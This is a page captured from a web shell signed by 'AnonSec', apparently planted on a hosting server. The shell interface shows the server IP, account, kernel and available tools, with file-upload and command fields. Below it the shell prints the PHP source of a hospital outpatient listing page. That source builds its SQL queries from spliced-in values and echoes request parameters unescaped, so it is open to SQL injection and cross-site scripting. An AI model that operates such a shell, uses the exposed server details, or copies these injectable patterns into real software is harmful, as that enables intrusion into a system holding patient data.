Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.189.186.109
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//opd.php
<!DOCTYPE html>
<html lang="en">
  <head>
   <link rel="stylesheet" href="../select2.min.css" />
      <style>

 
 
 .p{
     color: black;
          font-weight: 900;
 }
/* Automatic Serial Number Row */
.css-serial {
     font-weight: 900;
       color: black;
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>In House Patient</title>
 
  <body>
      
           
          
  </head>
<label>Select Doctor</label>

<select id="select12-state" onchange="drugload(this.value)" name='Admitted_Under'>
          <option disabled selected>Admitted Under</option>
          <?php
          include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
          	$sqldoctor= "SELECT * FROM site_users WHERE usertype='Doctor' and entered_by='$re[entered_by]'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
				
				echo "<option value='$rsdoctor[userno]'>$rsdoctor[name]</option>";
				}
		}
	?>
	
		  </select>
		  <br><br>
     <div id='divdr'>
 
 
<input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
 <table id="example2"  class="order-table table table-bordered table-hover css-serial">
     
                  <tr>
                      <th>SR No</th>
                         <th>Patient Details</th>
                   <th>Admitted_Under</th>
       
                <th>Details </th>
               </tr>
               
               
               
               
   
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$today = date('Y-m-d');
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM discharge  WHERE hospital_id='$re[entered_by]'  AND typevisit='OPD' AND date(admissiondate) = '$today' AND status='Admission' OR hospital_id='$re[entered_by]'  AND typevisit='Opd_Emergency' AND date(admissiondate) = '$today' AND status='Admission' OR hospital_id='$re[entered_by]'  AND typevisit='OPD_Routine' AND date(admissiondate) = '$today' AND status='Admission' ORDER BY id ASC";
		$qsql2 = mysqli_query($con,$sql2);
		while($rs = mysqli_fetch_array($qsql2))
		{
		    if($rs['typevisit']=='OPD'){
		        $a='OPD';
		    }
		    if($rs['typevisit']=='Opd_Emergency'){
		        $a='OPD Private';
		    }
		    if($rs['typevisit']=='OPD_Routine'){
		        $a='OPD Routine';
		    }
		    
	   $sql3 ="SELECT * FROM addaspatient WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql3 = mysqli_query($con,$sql3);
		while($rsr = mysqli_fetch_array($qsql3))
		{
		    	$sql9 ="SELECT * FROM site_users WHERE userno='$rsr[Admitted_Under]'";
		$qsql9 = mysqli_query($con,$sql9);
		while($re9 = mysqli_fetch_array($qsql9))
		{
		    	$sql4 ="SELECT * FROM patient WHERE patientid='$rsr[patientid]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
	if($rsr[triage] == 'Immediate_Care'){
        echo "
        <tr style='background-color:#cd3301'>
               <td>&nbsp;
               
                ";

$DisplayForm=True;
$sql ="SELECT * FROM potential WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "
<i style='font-size:16px;color:Green' class='fa fa-check' aria-hidden='true'></i>";
}
echo"</td>
                 <td>UHID :$rp[patientid]<br>
                
            Patient Name<br>$rp[patientname]</td>
              <td>
               
              
              
              $re9[name]<br> (";
              
              
              if($rsr[casetype]=='Pregnancy' )
              {
              echo"Gynecology";
             
              }
            
              else
              {
                  echo"$rsr[casetype]";
              }
              
              echo"
              )
             
              <br>
              
             
              $a
              </td>
               
                                      						<td><a href='treatment_timline.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>View</td>
                					  
          </tr>                   
    
          ";
	}
	
	elseif($rsr[triage] == 'Urgent_Care'){
        echo "
        <tr style='background-color:#ffff00'>
               <td>&nbsp;
                ";

$DisplayForm=True;
$sql ="SELECT * FROM potential WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "
<i style='font-size:16px;color:Green' class='fa fa-check' aria-hidden='true'></i>";
}
echo"</td>
                 <td>UHID :$rp[patientid]
                 <br>
            Patient Name<br>$rp[patientname]</td>
              <td> $re9[name] <br> (";
              if($rsr[casetype]=='Pregnancy' )
              {
              echo"Gynecology";
              }
              else
              {
                  echo"$rsr[casetype]";
              }
              echo"
              )
              <br>
              $a
              </td>
               
                                      						<td><a href='treatment_timline.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>View</td>
                					  
          </tr>       
        ";
	}
	else
	{
	      echo "
	       <tr  style='background-color:#00fe81'>
               <td>&nbsp;   ";

$DisplayForm=True;
$sql ="SELECT * FROM potential WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "
<i style='font-size:16px;color:Green' class='fa fa-check' aria-hidden='true'></i>";
}
echo"
               </td>
                   <td>UHID :$rp[patientid]
                 <br>
            Patient Name<br>$rp[patientname]</td>
              <td> $re9[name] <br> (";
              if($rsr[casetype]=='Pregnancy')
              {
              echo"Gynecology";
              }
              else
              {
                  echo"$rsr[casetype]";
              }
              echo"
              )   <br>
              $a</td>
             
                                      						<td><a href='treatment_timline.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>View</td>
                					  
          </tr>       
	      ";
	    
	}


}
		    
		}
		    
		}
		}
	
		}
		
?>   


      </div>
     
      </div>
      
      </table>
      <span style="background-color:#eef202"><b>Urgent Care</b></span> <span style="background-color:#05f76a"><b>Normal care</b></span>
   <span style="background-color:#eb020e"><b>Immediate Care</b></span>
<?php
if(isset($_SESSION[doctorid]))
{
?>  
<hr>
	<table>
		<tr>
			<td>
			<div align="center"><strong><a href="prescription.php?patientid=<?php echo $_GET[patientid]; ?>&appid=<?php echo $rsappointment[appointmentid]; ?>">Add Prescription records</a></strong></div>
			</td>
		</tr>
	</table>
	<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<?php
}
?>  <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrji.php?drid="+drid,true);
        xmlhttp.send();
}
            
     
</script>
<script>
 $(document).ready(function () {
      $('select12').selectize({
          sortField: 'text'
      });
  });
  </script>

Anon7 - 2022
AnonSec Team